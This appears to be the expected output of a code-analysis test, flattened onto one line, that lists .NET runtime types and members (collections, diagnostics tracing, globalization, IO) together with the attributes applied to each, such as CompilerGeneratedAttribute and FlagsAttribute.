+attrNoArg +| !0 System.Lazy`1.Value | [DebuggerBrowsableAttribute(...)] | +| !0 System.ReadOnlySpan`1.Enumerator.Current | [IsReadOnlyAttribute(...)] | +| !0 System.ReadOnlySpan`1.Item | [IsReadOnlyAttribute(...)] | +| !0 System.Threading.Tasks.Task`1.Result | [DebuggerBrowsableAttribute(...)] | +| !0 System.Threading.Tasks.ValueTask`1.Result | [DebuggerBrowsableAttribute(...)] | +| !0 System.Threading.ThreadLocal`1.Value | [DebuggerBrowsableAttribute(...)] | +| !0[] System.Collections.Concurrent.IProducerConsumerCollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | +| !0[] System.Collections.Generic.DictionaryKeyCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | +| !0[] System.Collections.Generic.ICollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | +| !0[] System.MemoryDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | +| !0[] System.SpanDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | +| !1[] System.Collections.Generic.DictionaryValueCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | +| <>f__AnonymousType0`1 | [CompilerGeneratedAttribute(...)] | +| <>f__AnonymousType0`1.i__Field | [DebuggerBrowsableAttribute(...)] | +| | [CompilerGeneratedAttribute(...)] | +| Internal.Runtime.InteropServices.ComponentActivator.<>c__DisplayClass6_0 | [CompilerGeneratedAttribute(...)] | +| Interop.Sys.<>c__DisplayClass39_0 | [CompilerGeneratedAttribute(...)] | +| Interop.Sys.FileStatusFlags | [FlagsAttribute(...)] | +| Interop.Sys.MountPointFound | [UnmanagedFunctionPointerAttribute(...)] | +| Interop.Sys.OpenFlags | [FlagsAttribute(...)] | +| Interop.Sys.PollEvents | [FlagsAttribute(...)] | +| InteropErrorExtensions | [ExtensionAttribute(...)] | +| Microsoft.CodeAnalysis.EmbeddedAttribute | [CompilerGeneratedAttribute(...)] | +| Microsoft.CodeAnalysis.EmbeddedAttribute | [EmbeddedAttribute(...)] | +| Microsoft.Reflection.ReflectionExtensions | [ExtensionAttribute(...)] | +| Microsoft.Win32.SafeHandles.SafeFileHandle.<>c | [CompilerGeneratedAttribute(...)] | +| Microsoft.Win32.SafeHandles.SafeFileHandle.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.AppContext.FirstChanceException | [CompilerGeneratedAttribute(...)] | +| System.AppContext.ProcessExit | [CompilerGeneratedAttribute(...)] | +| System.AppContext.UnhandledException | [CompilerGeneratedAttribute(...)] | +| System.AppDomain.DomainUnload | [CompilerGeneratedAttribute(...)] | +| System.AppDomain.ReflectionOnlyAssemblyResolve | [CompilerGeneratedAttribute(...)] | +| System.ArgIterator | [IsByRefLikeAttribute(...)] | +| System.Array.SorterGenericArray | [IsReadOnlyAttribute(...)] | +| System.Array.SorterObjectArray | [IsReadOnlyAttribute(...)] | +| System.ArraySegment`1 | [IsReadOnlyAttribute(...)] | +| System.ArraySegment`1.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.AssemblyLoadEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Attribute | [AttributeUsageAttribute(...)] | +| System.AttributeTargets | [FlagsAttribute(...)] | +| System.AttributeUsageAttribute | [AttributeUsageAttribute(...)] | +| System.Base64FormattingOptions | [FlagsAttribute(...)] | +| System.BitConverter.<>c | [CompilerGeneratedAttribute(...)] | +| System.BitConverter.IsLittleEndian | [IntrinsicAttribute(...)] | +| System.Buffers.StandardFormat | [IsReadOnlyAttribute(...)] | +| System.Buffers.Text.Utf8Parser.ParseNumberOptions | [FlagsAttribute(...)] | +| System.Buffers.TlsOverPerCoreLockedStacksArrayPool`1.t_tlsBuckets | [ThreadStaticAttribute(...)] | +| System.ByReference`1 | [IsByRefLikeAttribute(...)] | +| System.ByReference`1 | [IsReadOnlyAttribute(...)] | +| System.ByReference`1 | [NonVersionableAttribute(...)] | +| System.CLSCompliantAttribute | [AttributeUsageAttribute(...)] | +| System.Collections.ArrayList | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot.Item | [AllowNullAttribute(...)] | +| System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot.Item | [MaybeNullAttribute(...)] | +| System.Collections.Concurrent.ConcurrentQueue`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Concurrent.ConcurrentQueue`1.d__26 | [CompilerGeneratedAttribute(...)] | +| System.Collections.Generic.Comparer`1.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Collections.Generic.Dictionary`2 | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Generic.Dictionary`2.KeyCollection | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator._currentKey | [AllowNullAttribute(...)] | +| System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator._currentKey | [MaybeNullAttribute(...)] | +| System.Collections.Generic.Dictionary`2.ValueCollection | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator._currentValue | [AllowNullAttribute(...)] | +| System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator._currentValue | [MaybeNullAttribute(...)] | +| System.Collections.Generic.EqualityComparer`1.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Collections.Generic.KeyValuePair[] System.Collections.Generic.IDictionaryDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | +| System.Collections.Generic.KeyValuePair`2 | [IsReadOnlyAttribute(...)] | +| System.Collections.Generic.List`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.Generic.List`1.Enumerator._current | [AllowNullAttribute(...)] | +| System.Collections.Generic.List`1.Enumerator._current | [MaybeNullAttribute(...)] | +| System.Collections.Generic.NonRandomizedStringEqualityComparer.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Collections.Generic.ValueListBuilder`1 | [IsByRefLikeAttribute(...)] | +| System.Collections.Hashtable | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.KeyValuePairs._key | [DebuggerBrowsableAttribute(...)] | +| System.Collections.KeyValuePairs._value | [DebuggerBrowsableAttribute(...)] | +| System.Collections.KeyValuePairs[] System.Collections.Hashtable.HashtableDebugView.Items | [DebuggerBrowsableAttribute(...)] | +| System.Collections.ObjectModel.Collection`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerTypeProxyAttribute(...)] | +| System.CommonlyUsedGenericInstantiations.d__4`1 | [CompilerGeneratedAttribute(...)] | +| System.CommonlyUsedGenericInstantiations.d__5 | [CompilerGeneratedAttribute(...)] | +| System.CommonlyUsedGenericInstantiations.d__3`1 | [CompilerGeneratedAttribute(...)] | +| System.ComponentModel.DefaultValueAttribute | [AttributeUsageAttribute(...)] | +| System.ComponentModel.EditorBrowsableAttribute | [AttributeUsageAttribute(...)] | +| System.ComponentModel.EditorBrowsableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Console.<>c | [CompilerGeneratedAttribute(...)] | +| System.ConsoleCancelEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.ConsoleKeyInfo | [IsReadOnlyAttribute(...)] | +| System.ConsoleModifiers | [FlagsAttribute(...)] | +| System.ConsolePal.<>c | [CompilerGeneratedAttribute(...)] | +| System.ConsolePal.<>c__DisplayClass115_0 | [CompilerGeneratedAttribute(...)] | +| System.ConsolePal.ControlCHandlerRegistrar.<>c | [CompilerGeneratedAttribute(...)] | +| System.ConsolePal.TerminalFormatStrings.<>c | [CompilerGeneratedAttribute(...)] | +| System.Convert | [ExtensionAttribute(...)] | +| System.DTSubString | [IsByRefLikeAttribute(...)] | +| System.DateTime | [IsReadOnlyAttribute(...)] | +| System.DateTimeOffset | [IsReadOnlyAttribute(...)] | +| System.DateTimeResult | [IsByRefLikeAttribute(...)] | +| System.DefaultBinder.Primitives | [FlagsAttribute(...)] | +| System.Delegate | [ClassInterfaceAttribute(...)] | +| System.Diagnostics.CodeAnalysis.AllowNullAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.DisallowNullAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.DoesNotReturnAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.MaybeNullAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.NotNullAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.NotNullWhenAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.ConditionalAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.ConditionalAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractClassAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractClassForAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractOptionAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractPublicPropertyNameAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.ContractVerificationAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Contracts.PureAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Debug.t_indentLevel | [ThreadStaticAttribute(...)] | +| System.Diagnostics.DebuggableAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggableAttribute.DebuggingModes | [FlagsAttribute(...)] | +| System.Diagnostics.DebuggerBrowsableAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerBrowsableAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerDisplayAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerDisplayAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerHiddenAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerNonUserCodeAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerStepThroughAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerStepperBoundaryAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerTypeProxyAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerTypeProxyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerTypeProxyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerVisualizerAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.DebuggerVisualizerAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.StackFrameHelper.t_reentrancy | [ThreadStaticAttribute(...)] | +| System.Diagnostics.StackTraceHiddenAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayload.d__51 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayloadType | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.CounterPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.DataCollector.ThreadInstance | [ThreadStaticAttribute(...)] | +| System.Diagnostics.Tracing.DiagnosticCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.DiagnosticCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventActivityOptions | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventChannelAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventChannelAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventChannelAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventCommandEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventCommandEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventDataAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventDataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventFieldAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventFieldAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventFieldTags | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventIgnoreAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventKeywords | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventListener.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventListener.EventWritten | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventListener._EventSourceCreated | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventManifestOptions | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventPayload.d__17 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventPipeController.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventPipeEventDispatcher.EventListenerSubscription.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventPipeEventDispatcher.EventListenerSubscription.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventProvider.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventProvider.s_returnCode | [ThreadStaticAttribute(...)] | +| System.Diagnostics.Tracing.EventSource.m_EventSourceExceptionRecurenceCount | [ThreadStaticAttribute(...)] | +| System.Diagnostics.Tracing.EventSource.m_EventSourceInDecodeObject | [ThreadStaticAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceCreatedEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventSourceSettings | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventTags | [FlagsAttribute(...)] | +| System.Diagnostics.Tracing.EventWrittenEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventWrittenEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventWrittenEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.EventWrittenEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingCounterPayload.d__39 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingEventCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingEventCounterPayloadType | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingEventCounterPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingPollingCounter.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingPollingCounterPayloadType | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.IncrementingPollingCounterPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.ManifestBuilder.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.NonEventAttribute | [AttributeUsageAttribute(...)] | +| System.Diagnostics.Tracing.PollingPayloadType | [EventDataAttribute(...)] | +| System.Diagnostics.Tracing.PollingPayloadType.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue | [IsReadOnlyAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.<>c__DisplayClass33_0 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_0 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_1 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_2 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_3 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_4 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_5 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_6 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_7 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_8 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_9 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_10 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_11 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_12 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_13 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_14 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_15 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_16 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_17 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_18 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_19 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.PropertyValue.ReferenceTypeHelper`1.<>c__DisplayClass0_20 | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.RuntimeEventSource.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.ScalarArrayTypeInfo.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.ScalarTypeInfo.<>c | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.TraceLoggingMetadataCollector.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Diagnostics.Tracing.TraceLoggingTypeInfo.threadCache | [ThreadStaticAttribute(...)] | +| System.Diagnostics.Tracing.XplatEventLogger.<>c | [CompilerGeneratedAttribute(...)] | +| System.Environment.<>c | [CompilerGeneratedAttribute(...)] | +| System.Exception.DispatchState | [IsReadOnlyAttribute(...)] | +| System.FlagsAttribute | [AttributeUsageAttribute(...)] | +| System.GC.MemoryLoadChangeNotification | [IsReadOnlyAttribute(...)] | +| System.GC.MemoryLoadChangeNotification.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GC.MemoryLoadChangeNotification.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GC.MemoryLoadChangeNotification.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GCMemoryInfo | [IsReadOnlyAttribute(...)] | +| System.GCMemoryInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GCMemoryInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GCMemoryInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GCMemoryInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.GCMemoryInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Globalization.CalendarData.<>c | [CompilerGeneratedAttribute(...)] | +| System.Globalization.CompareOptions | [FlagsAttribute(...)] | +| System.Globalization.CultureInfo.s_currentThreadCulture | [ThreadStaticAttribute(...)] | +| System.Globalization.CultureInfo.s_currentThreadUICulture | [ThreadStaticAttribute(...)] | +| System.Globalization.CultureTypes | [FlagsAttribute(...)] | +| System.Globalization.DateTimeFormatFlags | [FlagsAttribute(...)] | +| System.Globalization.DateTimeStyles | [FlagsAttribute(...)] | +| System.Globalization.DaylightTimeStruct | [IsReadOnlyAttribute(...)] | +| System.Globalization.GlobalizationExtensions | [ExtensionAttribute(...)] | +| System.Globalization.GlobalizationMode.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Globalization.MonthNameStyles | [FlagsAttribute(...)] | +| System.Globalization.NumberStyles | [FlagsAttribute(...)] | +| System.Globalization.TextInfo.ToLowerConversion | [IsReadOnlyAttribute(...)] | +| System.Globalization.TextInfo.ToUpperConversion | [IsReadOnlyAttribute(...)] | +| System.Globalization.TimeSpanParse.StringParser | [IsByRefLikeAttribute(...)] | +| System.Globalization.TimeSpanParse.TimeSpanRawInfo | [IsByRefLikeAttribute(...)] | +| System.Globalization.TimeSpanParse.TimeSpanResult | [IsByRefLikeAttribute(...)] | +| System.Globalization.TimeSpanParse.TimeSpanStandardStyles | [FlagsAttribute(...)] | +| System.Globalization.TimeSpanParse.TimeSpanToken | [IsByRefLikeAttribute(...)] | +| System.Globalization.TimeSpanParse.TimeSpanTokenizer | [IsByRefLikeAttribute(...)] | +| System.Globalization.TimeSpanStyles | [FlagsAttribute(...)] | +| System.Guid | [NonVersionableAttribute(...)] | +| System.IO.FileAccess | [FlagsAttribute(...)] | +| System.IO.FileAttributes | [FlagsAttribute(...)] | +| System.IO.FileLoadException.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.IO.FileLoadException.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.IO.FileNotFoundException.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.IO.FileNotFoundException.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.IO.FileOptions | [FlagsAttribute(...)] | +| System.IO.FileShare | [FlagsAttribute(...)] | +| System.IO.FileStream.<>c | [CompilerGeneratedAttribute(...)] | +| System.IO.Path.<>c | [CompilerGeneratedAttribute(...)] | +| 